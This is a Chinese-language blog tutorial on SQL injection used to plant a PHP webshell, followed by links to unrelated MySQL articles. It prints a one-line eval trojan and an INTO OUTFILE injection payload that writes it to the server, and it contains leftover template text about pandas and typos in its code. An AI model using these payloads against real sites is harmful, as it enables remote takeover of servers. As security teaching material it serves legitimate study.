SQL注入---文件上传+Webshell

2024-04-07 22:44

本文主要是介绍SQL注入---文件上传+Webshell,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 前言
  • 一、pandas是什么?
  • 二、使用步骤
    • 1.引入库
    • 2.读入数据
  • 总结

一.Web工作原理 

Web工作原理详解

 HTTP/HTTPS协议会作为浏览器中输入信息的载体,向目标服务器发送请求,目标服务器收到请求后再返回对饮的信息,其中浏览器中输入的信息保存在HTTP报文的请求方式中(get和post等)

二.GET和POST的区别

  • GET请求:参数是以URL参数的形式进行传递,即在URL后面跟着参数名和值,参数之间使用&符号进行分隔,例如:http://example.com/api?param1=value1&param2=value2
  • POST请求:参数是通过HTTP消息体进行传递,参数内容不会显示在URL中,而是放在HTTP请求的消息体中进行传输。
  • 总结:GET请求仅能传输字母数字等参数无法传递图片等内容,而POST不仅可以传递数字还可以传递图片视频等内容

案例分析:

<?php
@&wanli=&_GET["a"];
print(&wanli);
?>当我们在浏览器URL中输入a=123时,对应网页将输出123。如下图所示

 GET抓包分析

POST抓包分析 

<?php
@&wanli=&_POST["a"];
print(&wanli);
?>

三.Webshell概述

        Webshell是指一种利用Web漏洞获取远程操作权限的工具或脚本,Webshell通常隐藏在Web应用程序的后台目录中,攻击者通过利用一些已知的或未知的漏洞,将Webshell上传到服务器中。一旦成功部署Webshell,攻击者可以通过浏览器或专门的管理工具对服务器进行远程操控,并执行任意操作。

四.一句话木马病毒

PHP中常见的一句话木马病毒如下,通常需要搭配蚁剑等工具来远程控制服务器

<?php @eval($_post["a"]);?>上述代码中:@符号作用时即使代码执行错误也不报错eval()函数用于将括号中的内容转译为PHP代码交给服务器执行$_post["a"]:使用post函数获取HTTP报文中post请求携带的参数 a

 为什么说PHP需要搭配蚂剑等安全工具使用呢,因为上述代码中的参数a实际为蚁剑等工具的连接密码,当我们在蚁剑中输入连接密码 a 连接服务器时 蚁剑会将参数a转译为连接脚本,如下图:

 当上述连接脚本被上传到服务器后,蚁剑就可以成功远程控制服务器。

那么问题来了,如何将一句话木马病毒上传到服务器中?此时,需要依靠文件上传漏洞。

五.文件上传漏洞

mysql文件上传要点:

  • show variables like ‘%securty%’;用来查看mysql是否具有对服务器读写文件权限
  • 数据库的file权限规定了数据库用户是否有权限向操作系统写入和读取已存在的权限
  • into outfile 命令使用环境:必须知道对应服务器上可以写入文件的文件夹完整路径

 当满足以上三个条件后就可以向服务器上传一句话木马并通过蚁剑等工具远程控制

id=-1')) union select 1,"<?php @eval($_post["a"]);?>",3 into outfile “上传木马的文件路径”

 


总结

这篇关于SQL注入---文件上传+Webshell的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/883879

相关文章

SQL Server 查询数据库及数据文件大小的方法

《SQLServer查询数据库及数据文件大小的方法》文章介绍了查询数据库大小的SQL方法及存储过程实现,涵盖当前数据库、所有数据库的总大小及文件明细,本文结合实例代码给大家介绍的非常详细,感兴趣的... 目录1. 直接使用SQL1.1 查询当前数据库大小1.2 查询所有数据库的大小1.3 查询每个数据库的详

MySQL中REPLACE函数与语句举例详解

《MySQL中REPLACE函数与语句举例详解》在MySQL中REPLACE函数是一个用于处理字符串的强大工具,它的主要功能是替换字符串中的某些子字符串,:本文主要介绍MySQL中REPLACE函... 目录一、REPLACE()函数语法:参数说明:功能说明:示例:二、REPLACE INTO语句语法:参数

MySQL设置密码复杂度策略的完整步骤(附代码示例)

《MySQL设置密码复杂度策略的完整步骤(附代码示例)》MySQL密码策略还可能包括密码复杂度的检查,如是否要求密码包含大写字母、小写字母、数字和特殊字符等,:本文主要介绍MySQL设置密码复杂度... 目录前言1. 使用 validate_password 插件1.1 启用 validate_passwo

MySQL 数据库表操作完全指南:创建、读取、更新与删除实战

《MySQL数据库表操作完全指南:创建、读取、更新与删除实战》本文系统讲解MySQL表的增删查改(CURD)操作,涵盖创建、更新、查询、删除及插入查询结果,也是贯穿各类项目开发全流程的基础数据交互原... 目录mysql系列前言一、Create(创建)并插入数据1.1 单行数据 + 全列插入1.2 多行数据

MySQL中优化CPU使用的详细指南

《MySQL中优化CPU使用的详细指南》优化MySQL的CPU使用可以显著提高数据库的性能和响应时间,本文为大家整理了一些优化CPU使用的方法,大家可以根据需要进行选择... 目录一、优化查询和索引1.1 优化查询语句1.2 创建和优化索引1.3 避免全表扫描二、调整mysql配置参数2.1 调整线程数2.

MySQL 临时表与复制表操作全流程案例

《MySQL临时表与复制表操作全流程案例》本文介绍MySQL临时表与复制表的区别与使用,涵盖生命周期、存储机制、操作限制、创建方法及常见问题,本文结合实例代码给大家介绍的非常详细,感兴趣的朋友跟随小... 目录一、mysql 临时表(一)核心特性拓展(二)操作全流程案例1. 复杂查询中的临时表应用2. 临时

MySQL 数据库表与查询操作实战案例

《MySQL数据库表与查询操作实战案例》本文将通过实际案例,详细介绍MySQL中数据库表的设计、数据插入以及常用的查询操作,帮助初学者快速上手,感兴趣的朋友跟随小编一起看看吧... 目录mysql 数据库表操作与查询实战案例项目一:产品相关数据库设计与创建一、数据库及表结构设计二、数据库与表的创建项目二:员

MySQL实现多源复制的示例代码

《MySQL实现多源复制的示例代码》MySQL的多源复制允许一个从服务器从多个主服务器复制数据,这在需要将多个数据源汇聚到一个数据库实例时非常有用,下面就来详细的介绍一下,感兴趣的可以了解一下... 目录一、多源复制原理二、多源复制配置步骤2.1 主服务器配置Master1配置Master2配置2.2 从服

MySQL 临时表创建与使用详细说明

《MySQL临时表创建与使用详细说明》MySQL临时表是存储在内存或磁盘的临时数据表,会话结束时自动销毁,适合存储中间计算结果或临时数据集,其名称以#开头(如#TempTable),本文给大家介绍M... 目录mysql 临时表详细说明1.定义2.核心特性3.创建与使用4.典型应用场景5.生命周期管理6.注

MySQL磁盘空间不足问题解决

《MySQL磁盘空间不足问题解决》本文介绍查看空间使用情况的方式,以及各种空间问题的原因和解决方案,文中通过示例代码介绍的非常详细,需要的朋友们下面随着小编来一起学习学习吧... 目录查看空间使用情况Binlog日志文件占用过多表上的索引太多导致空间不足大字段导致空间不足表空间碎片太多导致空间不足临时表空间